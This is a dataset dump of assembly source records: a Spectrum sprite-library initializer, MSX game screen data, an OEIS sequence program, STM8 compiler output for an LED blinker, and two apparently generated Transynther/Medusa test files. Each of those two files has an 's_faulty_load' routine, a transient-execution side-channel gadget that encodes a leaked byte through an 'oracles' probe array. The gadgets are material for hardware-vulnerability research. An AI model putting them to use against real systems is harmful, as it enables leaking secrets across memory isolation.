max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
libsrc/sprites/software/sp1/spectrum/updater/sp1_Initialize_callee.asm | andydansby/z88dk-mk2 | 1 | 91632 | ; void __CALLEE__ sp1_Initialize_callee(uchar iflag, uchar colour, uchar tile)
; 03.2006 aralbrec, Sprite Pack v3.0
; sinclair spectrum version
INCLUDE "spectrum/customize.asm"
XLIB sp1_Initialize_callee
XDEF ASMDISP_SP1_INITIALIZE_CALLEE
XDEF SP1V_DISPORIGX
XDEF SP1V_DISPORIGY
XDEF SP1V_DISPWIDTH
XDEF SP1V_DISPHEIGHT
XDEF SP1V_PIXELBUFFER
XDEF SP1V_ATTRBUFFER
XDEF SP1V_TILEARRAY
XDEF SP1V_UPDATEARRAY
XDEF SP1V_ROTTBL
XDEF SP1V_UPDATELISTH
XDEF SP1V_UPDATELISTT
.sp1_Initialize_callee
pop bc
pop hl
pop de
ld h,e
pop de
ld a,e
push bc
.asmentry
; 1. Constructs the rotation table if SP1_IFLAG_MAKE_ROTTBL flag set
; 2. Initializes tile array so that ROM character set is used by
; default - if SP1_IFLAG_OVERWRITE_TILES flag is set will not alter
; graphic pointers for character codes set previously (any non-zero
; pointer is not touched)
; 3. Resets the invalidated list to empty
; 4. Resets the update array, generating display file addresses for
; each char square if SP1_IFLAG_OVERWRITE_DFILE flag is set
;
; enter : hl= startup background tile
; a = flag, bit 0 = 1 if rotation table needed, bit 1 = 1 to overwrite all tile defs
; bit 2 = 1 to overwrite screen addresses in update structs
; used : af, bc, de, hl, af'
.SP1Initialize
push hl ; save h = attr, l = tile
bit 0,a
jr z, norottbl ; if flag bit not set, do not construct rotation table
; construct the rotation table
ld c,7 ; rotate by c bits
push af
.rottbllp
ld a,c
add a,a
or SP1V_ROTTBL/256
ld h,a
ld l,0
.entrylp
ld b,c
ld e,l
xor a
.rotlp
srl e
rra
djnz rotlp
ld (hl),e
inc h
ld (hl),a
dec h
inc l
jp nz, entrylp
dec c
jp nz, rottbllp
pop af
.norottbl
; initialize tile array to point to characters in ROM
ld hl,SP1V_TILEARRAY
ld de,15360
ld b,0
ld c,a
.tileloop
ld a,(hl) ; if a tile address is already present (ie non-zero entry)
inc h ; then we will skip it
bit 1,c
jr nz, overwrite ; unless overwrite flag set
or (hl)
jr nz, tilepresent
.overwrite
ld (hl),d
dec h
ld (hl),e
inc h
.tilepresent
dec h
inc hl
ld a,8
add a,e
ld e,a
ld a,0
adc a,d
ld d,a
djnz tileloop
; init the invalidated list
ld hl,SP1V_UPDATELISTH ; this variable points at a dummy struct sp1_update that is
ld (SP1V_UPDATELISTT),hl
ld hl,0
ld (SP1V_UPDATELISTH+6),hl ; nothing in invalidate list
; initialize the update array
pop de ; d = attr, e = tile
ld b,SP1V_DISPORIGY ; b = current row coord
ld hl,SP1V_UPDATEARRAY ; hl = current struct sp1_update
bit 2,c
ex af,af
.rowloop
ld c,SP1V_DISPORIGX ; c = current col coord
.colloop
ld (hl),1 ; # of occluding sprites in this tile + 1
inc hl
ld (hl),d ; write tile colour
inc hl
ld (hl),e ; write tile code
inc hl
ld (hl),0
inc hl
ld (hl),0 ; no sprites in the tile
inc hl
ld (hl),0
inc hl
ld (hl),0 ; not in invalidated list
inc hl
ld (hl),0
inc hl
ex af,af
jr z, skipscrnaddr
ex af,af
ld a,b ; compute screen address for char coord (b,c)
rrca ; and store in struct sp1_update
rrca
rrca
and $e0 ; screen address : 010B BSSS LLLC CCCC
or c ; y coord (b) : 000B BLLL
ld (hl),a ; x coord (c) : 000C CCCC
inc hl
ld a,b
and $18
or $40
ld (hl),a
.rejoinscrnaddr
inc hl ; hl points at next struct sp1_update
inc c ; next column
ld a,c
cp SP1V_DISPORIGX + SP1V_DISPWIDTH
jr c, colloop
inc b ; next row
ld a,b
cp SP1V_DISPORIGY + SP1V_DISPHEIGHT
jr c, rowloop
ret
.skipscrnaddr
ex af,af
inc hl
jp rejoinscrnaddr
DEFC ASMDISP_SP1_INITIALIZE_CALLEE = asmentry - sp1_Initialize_callee
|
python_src/other/export/screen_1_4.asm | fjpena/sword-of-ianna-msx2 | 43 | 83133 | org $0000
; Object types
OBJECT_NONE EQU 0
OBJECT_SWITCH EQU 1
OBJECT_DOOR EQU 2
OBJECT_DOOR_DESTROY EQU 3
OBJECT_FLOOR_DESTROY EQU 4
OBJECT_WALL_DESTROY EQU 5
OBJECT_BOX_LEFT EQU 6
OBJECT_BOX_RIGHT EQU 7
OBJECT_JAR EQU 8
OBJECT_TELEPORTER EQU 9
; Pickable object types
OBJECT_KEY_GREEN EQU 11
OBJECT_KEY_BLUE EQU 12
OBJECT_KEY_YELLOW EQU 13
OBJECT_BREAD EQU 14
OBJECT_MEAT EQU 15
OBJECT_HEALTH EQU 16
OBJECT_KEY_RED EQU 17
OBJECT_KEY_WHITE EQU 18
OBJECT_KEY_PURPLE EQU 19
; Object types for enemies
OBJECT_ENEMY_SKELETON EQU 20
OBJECT_ENEMY_ORC EQU 21
OBJECT_ENEMY_MUMMY EQU 22
OBJECT_ENEMY_TROLL EQU 23
OBJECT_ENEMY_ROCK EQU 24
OBJECT_ENEMY_KNIGHT EQU 25
OBJECT_ENEMY_DALGURAK EQU 26
OBJECT_ENEMY_GOLEM EQU 27
OBJECT_ENEMY_OGRE EQU 28
OBJECT_ENEMY_MINOTAUR EQU 29
OBJECT_ENEMY_DEMON EQU 30
OBJECT_ENEMY_SECONDARY EQU 31
Screen_1_4:
DB 36, 2, 3, 2, 1, 6, 2, 2, 2, 2, 4, 3, 4, 2, 6, 2
DB 35, 9, 2, 2, 8, 9, 4, 8, 9, 3, 2, 2, 2, 7, 8, 9
DB 17, 252, 9, 2, 34, 0, 8, 0, 34, 9, 8, 9, 9, 8, 0, 33
DB 36, 69, 34, 9, 0, 0, 0, 33, 0, 0, 0, 33, 0, 0, 34, 0
DB 39, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
DB 132, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
DB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
DB 0, 0, 0, 0, 0, 10, 11, 244, 245, 246, 247, 244, 245, 246, 247, 244
DB 0, 0, 0, 10, 11, 33, 9, 8, 8, 9, 164, 165, 164, 8, 9, 8
DB 14, 15, 14, 34, 33, 34, 0, 0, 33, 0, 34, 33, 0, 33, 0, 34
HardScreen_1_4:
DB 85, 85, 85, 85
DB 85, 85, 85, 85
DB 85, 85, 85, 85
DB 85, 85, 85, 85
DB 80, 0, 0, 0
DB 64, 0, 0, 0
DB 0, 0, 0, 0
DB 0, 55, 0, 0
DB 3, 85, 95, 213
DB 85, 85, 85, 85
Obj_1_4:
DB 31 ; PLAYER
DB 0, OBJECT_NONE, 0, 0, 0, 0 ; EMPTY ENEMY
DB 0, OBJECT_NONE, 0, 0, 0, 0 ; EMPTY ENEMY
DB 40, OBJECT_TELEPORTER, 15, 6, 0, 45
DB 47, OBJECT_JAR, 11, 8, 0, 36
DB 0, OBJECT_NONE, 0, 0, 0, 0 ; EMPTY OBJECT
DB 0, OBJECT_NONE, 0, 0, 0, 0 ; EMPTY OBJECT
DB 0, OBJECT_NONE, 0, 0, 0, 0 ; EMPTY OBJECT
|
Transynther/x86/_processed/NONE/_ht_zr_un_/i7-7700_9_0x48.log_21829_76.asm | ljhsiun2/medusa | 9 | 178724 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1e7ca, %rsi
lea addresses_WC_ht+0xcfba, %rdi
nop
nop
nop
xor $56554, %r12
mov $81, %rcx
rep movsl
nop
and $38402, %r10
lea addresses_UC_ht+0x1ddaa, %r12
nop
nop
nop
xor %rax, %rax
movb (%r12), %r10b
nop
nop
nop
nop
nop
add $43660, %r12
lea addresses_D_ht+0x137aa, %rsi
lea addresses_WC_ht+0x1582, %rdi
nop
nop
nop
nop
add %rbp, %rbp
mov $60, %rcx
rep movsw
nop
nop
cmp $54126, %rcx
lea addresses_UC_ht+0x18e77, %rdi
nop
sub %r10, %r10
mov $0x6162636465666768, %rbp
movq %rbp, %xmm2
and $0xffffffffffffffc0, %rdi
vmovaps %ymm2, (%rdi)
nop
nop
nop
add $45676, %rsi
lea addresses_UC_ht+0x9e3a, %r12
nop
nop
inc %rax
movups (%r12), %xmm1
vpextrq $1, %xmm1, %r10
xor %rcx, %rcx
lea addresses_WC_ht+0xe1be, %rsi
lea addresses_UC_ht+0x7daa, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
add %r11, %r11
mov $65, %rcx
rep movsb
nop
nop
nop
dec %r10
lea addresses_WC_ht+0x9c32, %rsi
lea addresses_D_ht+0x17eaa, %rdi
nop
nop
nop
nop
nop
dec %r12
mov $116, %rcx
rep movsb
nop
nop
nop
nop
cmp %rcx, %rcx
lea addresses_A_ht+0x9ba, %rcx
nop
nop
sub %rsi, %rsi
mov (%rcx), %ebp
nop
nop
nop
and %rcx, %rcx
lea addresses_WT_ht+0x180aa, %rsi
lea addresses_D_ht+0xea74, %rdi
nop
dec %rbp
mov $2, %rcx
rep movsb
cmp $16423, %rcx
lea addresses_UC_ht+0x73ba, %rax
clflush (%rax)
nop
nop
nop
nop
sub $44516, %rcx
movb (%rax), %r11b
nop
nop
nop
xor %r10, %r10
lea addresses_A_ht+0xf49a, %rax
nop
nop
nop
and %r10, %r10
movb (%rax), %r12b
sub %r12, %r12
lea addresses_A_ht+0x14bde, %r10
nop
and %rsi, %rsi
mov (%r10), %r12w
nop
nop
nop
nop
nop
and $11241, %rcx
lea addresses_WT_ht+0x104aa, %rsi
lea addresses_UC_ht+0x1dbaa, %rdi
nop
nop
cmp %rax, %rax
mov $122, %rcx
rep movsw
and $64966, %rax
lea addresses_WT_ht+0x9fc2, %r11
add $10532, %rax
movl $0x61626364, (%r11)
nop
nop
and $36256, %r10
lea addresses_WT_ht+0x12c2a, %r11
nop
nop
xor $44674, %rbp
movb (%r11), %r12b
nop
nop
sub $5293, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r14
push %r15
push %rcx
push %rdi
push %rsi
// Load
lea addresses_A+0x135aa, %rcx
nop
cmp %rdi, %rdi
mov (%rcx), %r13w
nop
add $21811, %r13
// Faulty Load
lea addresses_WT+0xe5aa, %rdi
nop
xor %r10, %r10
vmovups (%rdi), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %r15
lea oracles, %r13
and $0xff, %r15
shlq $12, %r15
mov (%r13,%r15,1), %r15
pop %rsi
pop %rdi
pop %rcx
pop %r15
pop %r14
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 9, 'size': 2, 'same': False, 'NT': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': True, 'congruent': 0, 'size': 32, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 3, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 3, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 4, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 2, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': False, 'NT': False}}
{'08': 4, '72': 6, '45': 1125, '00': 3651, '49': 16347, '48': 399, '46': 297}
00 00 49 00 00 45 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 00 00 49 49 49 49 49 49 49 49 49 49 49 49 45 49 49 49 00 00 00 00 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 45 49 49 00 45 49 49 49 00 49 49 49 45 49 49 49 49 49 49 49 49 49 45 49 00 49 00 49 49 49 49 49 00 49 49 49 49 49 49 00 00 00 49 49 49 49 00 49 49 49 45 49 49 45 49 49 49 49 00 00 49 00 49 49 00 49 49 49 49 49 49 00 00 46 49 49 49 49 49 49 49 49 49 48 49 49 49 00 00 49 46 49 45 49 49 49 45 49 49 49 49 48 48 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 00 00 49 49 49 45 49 45 49 49 49 49 49 49 49 49 00 49 00 49 49 00 49 00 49 49 49 49 00 49 49 49 49 46 49 48 49 49 49 00 45 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 46 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 48 48 49 49 49 49 00 49 49 00 00 00 49 49 49 49 49 49 48 49 49 00 00 00 00 49 49 49 49 49 45 49 49 49 49 49 49 49 00 00 49 49 45 49 45 49 00 49 49 49 49 45 49 00 46 49 49 00 49 49 49 49 49 49 49 00 49 00 49 00 00 49 49 00 49 49 49 49 00 45 49 00 49 49 49 00 49 00 45 49 49 49 49 49 49 49 00 00 00 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 45 00 45 49 49 49 00 49 49 49 49 49 00 45 49 49 49 49 00 49 49 49 49 49 00 49 00 45 49 00 49 49 49 49 49 49 49 49 46 46 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 00 49 49 00 00 49 49 49 49 00 49 49 49 49 49 49 49 45 49 49 49 00 49 49 49 49 49 49 49 49 00 46 00 00 00 49 00 49 49 49 00 49 49 49 49 49 49 49 49 45 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 00 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 00 00 49 00 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 00 49 00 00 49 49 00 00 49 49 49 49 49 49 49 00 49 49 00 00 00 00 49 49 49 49 00 49 49 49 49 00 49 49 49 49 49 45 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 00 49 00 00 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 72 46 00 49 49 49 49 49 49 49 49 49 49 49 00 00 49 49 49 49 45 49 00 00 49 00 45 49 49 49 49 49 49 48 48 00 49 00 49 49 49 49 49 49 00 00 49 49 49 49 49 46 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 00 45 49 49 49 49 49 49 49 46 46 49 49 49 49 00 45 49 00 00 49 49 48 48 49 49 49 49 49 49 49 49 00 00 49 00 49 49 00 49 49 49 49 49 49 49 49 00 49 45 49 00 00 49 49 49 00 49 00 00 00 49 49 49 49 00 00 46 49 49 49 45 49 49 49 49 49 49 49 49 49 49 49 49 49 49 45 49 49 49 49 45 49 45 49 49 45 49 00 00 49 49 00 49 49 49 49 49 49 00 00 00 49 00 49 49 00 00 00 49 49 49 49 49 46 49 49 49 49 49 49 49 00 00 49 49 49 49 49 49 49 45 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 45 49 00 49 49 00 49 49 45 49 49 00 49 49 49 45 49 49 49 00 45 49 49 45 49 49 49 49 49 49 49 49 45 49 00 49 49 49 49 49 49 48 49 49 49 49 49 46 49 49 45 49 49 49 45 49 49 46 49 00 00 49 49 49 49 49 00 49 45 49 49 49 49 49 49 49 45 49 49 49 49 49 49 00 00 49 49 49 49 49 49 00 49 49 49
*/
|
oeis/028/A028083.asm | neoneye/loda-programs | 11 | 12832 | <gh_stars>10-100
; A028083: Expansion of 1/((1-3x)(1-6x)(1-9x)(1-10x)).
; Submitted by <NAME>
; 1,28,505,7480,99181,1226548,14470705,165111760,1838112661,20084217868,216290873305,2302672401640,24288950066941,254275654917988,2645388660962305,27378515971285120,282112466144578021
mov $1,1
mov $2,$0
mov $3,$0
lpb $2
mov $0,$3
mul $1,10
sub $2,1
sub $0,$2
seq $0,17933 ; Expansion of 1/((1-3x)(1-6x)(1-9x)).
add $1,$0
lpe
mov $0,$1
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_277.asm | ljhsiun2/medusa | 9 | 99105 | <filename>Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_277.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0xbfee, %rdx
nop
add $50523, %r9
mov $0x6162636465666768, %rsi
movq %rsi, %xmm0
vmovups %ymm0, (%rdx)
add %rcx, %rcx
lea addresses_WC_ht+0x66ff, %r13
nop
and $54785, %rdx
movb (%r13), %r11b
nop
nop
cmp %rsi, %rsi
lea addresses_WT_ht+0x122d3, %rdx
nop
nop
dec %rcx
mov (%rdx), %r11d
nop
nop
nop
cmp %r9, %r9
lea addresses_WC_ht+0x6d7f, %rsi
lea addresses_normal_ht+0x4eff, %rdi
nop
nop
xor $53816, %r10
mov $4, %rcx
rep movsq
nop
add $17140, %rcx
lea addresses_A_ht+0xdaff, %r13
cmp %r9, %r9
movups (%r13), %xmm6
vpextrq $0, %xmm6, %rdx
nop
nop
dec %rcx
lea addresses_WT_ht+0x1eff, %rdi
nop
nop
sub %r11, %r11
mov $0x6162636465666768, %rcx
movq %rcx, %xmm6
vmovups %ymm6, (%rdi)
sub $9006, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r15
push %r8
push %r9
push %rax
// Faulty Load
lea addresses_A+0x102ff, %r15
nop
inc %r8
vmovups (%r15), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %rax
lea oracles, %r12
and $0xff, %rax
shlq $12, %rax
mov (%r12,%rax,1), %rax
pop %rax
pop %r9
pop %r8
pop %r15
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WC_ht', 'congruent': 0}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 1, 'type': 'addresses_WC_ht', 'congruent': 10}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT_ht', 'congruent': 1}}
{'dst': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A_ht', 'congruent': 10}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT_ht', 'congruent': 9}, 'OP': 'STOR'}
{'35': 21829}
35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
|
STM8S103F3_DEBUG/main.asm | k0mpilator/stm8-vscode | 0 | 168750 | ;--------------------------------------------------------
; File Created by SDCC : free open source ANSI-C Compiler
; Version 3.9.0 #11195 (Linux)
;--------------------------------------------------------
.module main
.optsdcc -mstm8
;--------------------------------------------------------
; Public variables in this module
;--------------------------------------------------------
.globl _main
.globl _GPIO_WriteReverse
.globl _GPIO_Init
.globl _GPIO_DeInit
.globl _assert_failed
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
.area DATA
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
.area INITIALIZED
;--------------------------------------------------------
; Stack segment in internal ram
;--------------------------------------------------------
.area SSEG
__start__stack:
.ds 1
;--------------------------------------------------------
; absolute external ram data
;--------------------------------------------------------
.area DABS (ABS)
; default segment ordering for linker
.area HOME
.area GSINIT
.area GSFINAL
.area CONST
.area INITIALIZER
.area CODE
;--------------------------------------------------------
; interrupt vector
;--------------------------------------------------------
.area HOME
__interrupt_vect:
int s_GSINIT ; reset
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
.area HOME
.area GSINIT
.area GSFINAL
.area GSINIT
__sdcc_gs_init_startup:
__sdcc_init_data:
; stm8_genXINIT() start
ldw x, #l_DATA
jreq 00002$
00001$:
clr (s_DATA - 1, x)
decw x
jrne 00001$
00002$:
ldw x, #l_INITIALIZER
jreq 00004$
00003$:
ld a, (s_INITIALIZER - 1, x)
ld (s_INITIALIZED - 1, x), a
decw x
jrne 00003$
00004$:
; stm8_genXINIT() end
.area GSFINAL
jp __sdcc_program_startup
;--------------------------------------------------------
; Home
;--------------------------------------------------------
.area HOME
.area HOME
__sdcc_program_startup:
jp _main
; return from main will return to caller
;--------------------------------------------------------
; code
;--------------------------------------------------------
.area CODE
Smain$delay$0 ==.
; ./src/main.c: 39: static void delay(uint32_t t) {
; genLabel
; -----------------------------------------
; function delay
; -----------------------------------------
; Register assignment is optimal.
; Stack space usage: 0 bytes.
_delay:
Smain$delay$1 ==.
Smain$delay$2 ==.
; ./src/main.c: 40: while (--t);
; genAssign
ldw y, (0x05, sp)
ldw x, (0x03, sp)
; genLabel
00101$:
; genMinus
subw y, #0x0001
ld a, xl
sbc a, #0x00
ld xl, a
ld a, xh
sbc a, #0x00
ld xh, a
; genIfx
tnzw y
jrne 00112$
tnzw x
jreq 00113$
00112$:
jp 00101$
00113$:
; genLabel
00104$:
Smain$delay$3 ==.
; ./src/main.c: 41: }
; genEndFunction
Smain$delay$4 ==.
XFmain$delay$0$0 ==.
ret
Smain$delay$5 ==.
Smain$main$6 ==.
; ./src/main.c: 43: void main(void){
; genLabel
; -----------------------------------------
; function main
; -----------------------------------------
; Register assignment is optimal.
; Stack space usage: 0 bytes.
_main:
Smain$main$7 ==.
Smain$main$8 ==.
; ./src/main.c: 45: GPIO_DeInit(LED_PORT);
; genIPush
push #0x05
Smain$main$9 ==.
push #0x50
Smain$main$10 ==.
; genCall
call _GPIO_DeInit
addw sp, #2
Smain$main$11 ==.
Smain$main$12 ==.
; ./src/main.c: 46: GPIO_Init(LED_PORT, LED, GPIO_MODE_OUT_PP_LOW_FAST);
; genIPush
push #0xe0
Smain$main$13 ==.
; genIPush
push #0x20
Smain$main$14 ==.
; genIPush
push #0x05
Smain$main$15 ==.
push #0x50
Smain$main$16 ==.
; genCall
call _GPIO_Init
addw sp, #4
Smain$main$17 ==.
; genLabel
00102$:
Smain$main$18 ==.
Smain$main$19 ==.
; ./src/main.c: 49: delay(60000);
; genIPush
push #0x60
Smain$main$20 ==.
push #0xea
Smain$main$21 ==.
clrw x
pushw x
Smain$main$22 ==.
; genCall
call _delay
addw sp, #4
Smain$main$23 ==.
Smain$main$24 ==.
; ./src/main.c: 50: GPIO_WriteReverse(LED_PORT, LED);
; genIPush
push #0x20
Smain$main$25 ==.
; genIPush
push #0x05
Smain$main$26 ==.
push #0x50
Smain$main$27 ==.
; genCall
call _GPIO_WriteReverse
addw sp, #3
Smain$main$28 ==.
; genGoto
jp 00102$
Smain$main$29 ==.
; genLabel
00104$:
Smain$main$30 ==.
; ./src/main.c: 52: }
; genEndFunction
Smain$main$31 ==.
XG$main$0$0 ==.
ret
